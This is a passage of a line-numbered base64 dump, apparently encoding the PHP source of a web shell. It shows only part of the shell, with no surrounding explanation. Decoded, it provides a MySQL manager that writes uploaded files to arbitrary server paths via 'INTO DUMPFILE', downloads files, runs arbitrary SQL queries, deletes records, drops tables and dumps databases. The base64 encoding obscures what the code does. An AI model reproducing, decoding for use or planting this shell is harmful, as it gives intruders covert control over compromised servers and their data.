  385. CQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCUBmY2xv
  386. c2UoJGZwKTsNCgkJCQkkY29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7DQoJCQkJaWYoISR1
  387. cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOw0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVz
  388. ZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJCSRyZXN1bHQgPSBxKCJT
  389. RUxFQ1QgMHh7JGNvbnRlbnRzfSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVw
  390. YXRoJzsiKTsNCgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMg
  391. ZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3JpcHQgdHlw
  392. ZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7DQoJaWYoIWRv
  393. aW5nKSByZXR1cm47DQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCgkkKCdteXNxbGZpbGUnKS5k
  394. Ymhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRi
  395. cG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJ1
  396. c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBh
  397. c3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRibmFt
  398. ZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuY2hhcnNl
  399. dC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLnN1Ym1p
  400. dCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxo
  401. b3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBv
  402. cnQgPSAnMzMwNic7DQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dC
  403. SycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7
  404. DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIEluZm9ybWF0aW9uJywnbmFtZSc9Pidk
  405. YmluZm8nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8cD4nKTsNCglw
  406. KCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4y
  407. MCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9
  408. PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0K
  409. CW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRi
  410. dXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNz
  411. Jywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQk5hbWU6Jyk7DQoJbWFrZWlu
  412. cHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJuYW1lKSk7
  413. DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcs
  414. J29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCXAoJzwvcD4nKTsN
  415. Cglmb3JtZm9vdCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1Qi
  416. IGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3Fs
  417. ZmlsZSI+Jyk7DQoJcCgnPGgyPlVwbG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD48Yj5UaGlzIG9w
  418. ZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7DQoJ
  419. cCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2
  420. ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xh
  421. c3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZh
  422. c2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCglw
  423. KCc8aDI+RG93bmxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJp
  424. bnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJl
  425. Zj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+
  426. Jyk7DQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KCW1ha2VoaWRlKCdkYnBvcnQnKTsNCgltYWtlaGlk
  427. ZSgnZGJ1c2VyJyk7DQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KCW1ha2VoaWRlKCdkYm5hbWUnKTsN
  428. CgltYWtlaGlkZSgnY2hhcnNldCcpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdh
  429. Y3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24g
  430. PT0gJ3NxbGFkbWluJykgew0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkh
  431. JGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMw
  432. Nic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0i
  433. Y29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0g
  434. Lj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIg
  435. dmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRk
  436. YmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1
  437. c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7
  438. DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1l
  439. PVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBv
  440. cnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRc
  441. IiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0
  442. KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJk
  443. Ym5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlm
  444. KGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwi
  445. IGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4i
  446. Ow0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0K
  447. CQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBl
  448. bHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0
  449. LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZv
  450. cGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFi
  451. bGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicp
  452. Ow0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNo
  453. X2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7
  454. DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJ
  455. CQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBh
  456. dGgpOw0KCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRm
  457. aWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoJCQkJbXlzcWxfY2xv
  458. c2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOw0KCQkJfQ0KCQl9DQoJ
  459. fQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAk
  460. dG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlm
  461. ICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1w
  462. LiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJ
  463. CWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRi
  464. cGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFi
  465. bGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQg
  466. b2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJHVwZGF0ZSAmJiAk
  467. aW5zZXJ0c3FsICYmICRiYXNlNjQpIHsNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFj
  468. aCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXku
  469. Ij0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJaWYgKCR2
  470. YWxzdHIpIHsNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQlkYmNvbm4o
  471. JGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0o
  472. cSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/
  473. ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCRkb2lu
  474. ZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7DQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2
  475. NCk7DQoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJl
  476. IjsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRi
  477. cG9ydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdE
  478. ZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgl9DQoNCglpZiAo
  479. JHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoJCWRiY29ubigkZGJob3N0LCRkYnVz
  480. ZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQlpZiAocSgiRFJPUCBUQUJM
  481. RSAkdGFibGVuYW1lIikpIHsNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KCQkJJHRh
  482. YmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbShteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0N
  483. Cg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9
  484. PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhl
  485. YWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbics
  486. J3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJh
  487. eSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzon
  488. KTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+
  489. JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1
  490. c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFr
  491. ZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNz
  492. KSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNl
  493. dCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1
  494. dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3Vi
  495. bWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNj
  496. cmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24s
  497. IGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7CQkNCgkJaWYgKCFj
  498. b25maXJtKCdJcyBvciBpc25cJ3QgZGVsZXRpb24gcmVjb3JkPycpKSByZXR1cm47DQoJfQ0KCSQo
  499. J3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247DQoJJCgncmVjb3JkbGlzdCcpLmJhc2U2
  500. NC52YWx1ZT1iYXNlNjQ7DQoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5h
  501. bWU7DQoJJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gbW9kZGJuYW1lKGRi
  502. bmFtZSkgew0KCWlmKCFkYm5hbWUpIHJldHVybjsNCgkkKCdzZXRkYm5hbWUnKS5kYm5hbWUudmFs
  503. dWU9ZGJuYW1lOw0KCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gc2V0dGFi
  504. bGUodGFibGVuYW1lLGRvaW5nLHBhZ2UpIHsNCglpZighdGFibGVuYW1lKSByZXR1cm47DQoJaWYg
  505. KGRvaW5nKSB7DQoJCSQoJ3NldHRhYmxlJykuZG9pbmcudmFsdWU9ZG9pbmc7DQoJfQ0KCWlmIChw
  506. YWdlKSB7DQoJCSQoJ3NldHRhYmxlJykucGFnZS52YWx1ZT1wYWdlOw0KCX0NCgkkKCdzZXR0YWJs
  507. ZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7DQoJJCgnc2V0dGFibGUnKS5zdWJtaXQoKTsN
  508. Cn0NCjwvc2NyaXB0Pg0KPD9waHANCgkvL7LZ1/e8x8K8DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUn
  509. PT4ncmVjb3JkbGlzdCcpKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9u
  510. Jywnc3FsYWRtaW4nKTsNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFt
  511. ZScpOw0KCXAoJGRiZm9ybSk7DQoJZm9ybWZvb3QoKTsNCg0KCS8v0aG2qMr9vt2/4g0KCWZvcm1o
  512. ZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3Fs
  513. YWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCWlmICghJGRibmFtZSkgew0KCQltYWtlaGlkZSgnZGJu
  514. YW1lJyk7DQoJfQ0KCWZvcm1mb290KCk7DQoNCgkvL9Ghtqix7Q0KCWZvcm1oZWFkKGFycmF5KCdu
  515. YW1lJz0+J3NldHRhYmxlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCXAo
  516. JGRiZm9ybSk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KCW1ha2VoaWRlKCdwYWdlJywkcGFn
  517. ZSk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJZm9ybWZvb3QoKTsNCg0KCSRjYWNoZXRhYmxlcyA9
  518. IGFycmF5KCk7CQ0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlm
  519. KCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBl
  520. bHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQo
  521. JGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNv
  522. bm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAk
  523. Y2hhcnNldCwgJGRicG9ydCk7DQoJCS8vu/HIocr9vt2/4tDFz6INCgkJJG15c3FsdmVyID0gbXlz
  524. cWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmlu
  525. ZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhp
  526. Z2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vu/HIocr9vt2/4g0KCQkk
  527. cXVlcnkgPSBxKCJTSE9XIERBVEFCQVNFUyIpOw0KCQkkZGJzID0gYXJyYXkoKTsNCgkJJGRic1td
  528. ID0gJy0tIFNlbGVjdCBhIGRhdGFiYXNlIC0tJzsNCgkJd2hpbGUoJGRiID0gbXlzcWxfZmV0Y2hf
  529. YXJyYXkoJHF1ZXJ5KSkgew0KCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFz
  530. ZSddOw0KCQl9DQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBzZWxlY3QgYSBk
  531. YXRhYmFzZTonLCduYW1lJz0+J2RiW10nLCdvcHRpb24nPT4kZGJzLCdzZWxlY3RlZCc9PiRkYm5h
  532. bWUsJ29uY2hhbmdlJz0+J21vZGRibmFtZSh0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4
  533. XS52YWx1ZSknLCduZXdsaW5lJz0+MSkpOw0KCQkkdGFibGVkYiA9IGFycmF5KCk7DQoJCWlmICgk
  534. ZGJuYW1lKSB7DQoJCQlwKCc8cD4nKTsNCgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9
  535. ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4n
  536. KTsNCgkJCWlmICgkdGFibGVuYW1lKSB7DQoJCQkJcCgnIHwgQ3VycmVudCBUYWJsZTogPGEgaHJl
  537. Zj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4kdGFibGVuYW1l
  538. Lic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcs
  539. IFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUo
  540. XCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBo
  541. cmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdkcm9wXCcpOyI+
  542. RHJvcDwvYT4gXScpOw0KCQkJfQ0KCQkJcCgnPC9wPicpOw0KCQkJbXlzcWxfc2VsZWN0X2RiKCRk
  543. Ym5hbWUpOw0KDQoJCQkkZ2V0bnVtc3FsID0gJyc7DQoJCQkkcnVucXVlcnkgPSAwOw0KCQkJaWYg
  544. KCRzcWxfcXVlcnkpIHsNCgkJCQkkcnVucXVlcnkgPSAxOw0KCQkJfQ0KCQkJJGFsbG93ZWRpdCA9
  545. IDA7DQoJCQlpZiAoJHRhYmxlbmFtZSAmJiAhJHNxbF9xdWVyeSkgew0KCQkJCSRzcWxfcXVlcnkg
  546. PSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVy
  547. eTsNCgkJCQkkc3FsX3F1ZXJ5ID0gJHNxbF9xdWVyeS4iIExJTUlUICRzdGFydF9saW1pdCwgJHBh
  548. Z2VudW0iOw0KCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJfQ0KCQkJcCgnPGZvcm0gYWN0aW9uPSIn
  549. LiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJCQlwKCc8cD48dGFibGUgd2lkdGg9IjIwMCIg
  550. Ym9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bh
  551. bj0iMiI+UnVuIFNRTCBxdWVyeS9xdWVyaWVzIG9uIGRhdGFiYXNlICcuJGRibmFtZS4nOjwvdGQ+
  552. PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHls
  553. ZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxj
  554. aGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJw
  555. YWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFt
  556. ZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJs
  557. ZT48L3A+Jyk7DQoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7DQoJCQltYWtl
  558. aGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCXAoJGRiZm9ybSk7DQoJCQlwKCc8L2Zvcm0+
  559. Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSB8fCAoJHJ1bnF1ZXJ5ICYmICRzcWxfcXVlcnkpKSB7DQoJ
  560. CQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgew0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBD
  561. T0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KCQkJCQkkcm93ZGIgPSBhcnJheSgpOw0KCQkJCQl3
  562. aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltd
  563. ID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0i
  564. MyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJ
  565. CQlwKCc8dGQ+RmllbGQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7DQoJCQkJCXAo
  566. Jzx0ZD5OdWxsPC90ZD4nKTsNCgkJCQkJcCgnPHRkPktleTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5E
  567. ZWZhdWx0PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCgkJCQkJcCgnPC90cj4n
  568. KTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCSR0aGlzYmcgPSBiZygp
  569. Ow0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xh
  570. c3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2Jn
  571. LidcJzsiPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsNCgkJCQkJ
  572. CXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ051
  573. bGwnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0tleSddLicmbmJzcDs8
  574. L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOw0K
  575. CQkJCQkJcCgnPHRkPicuJHJvd1snRXh0cmEnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzwv
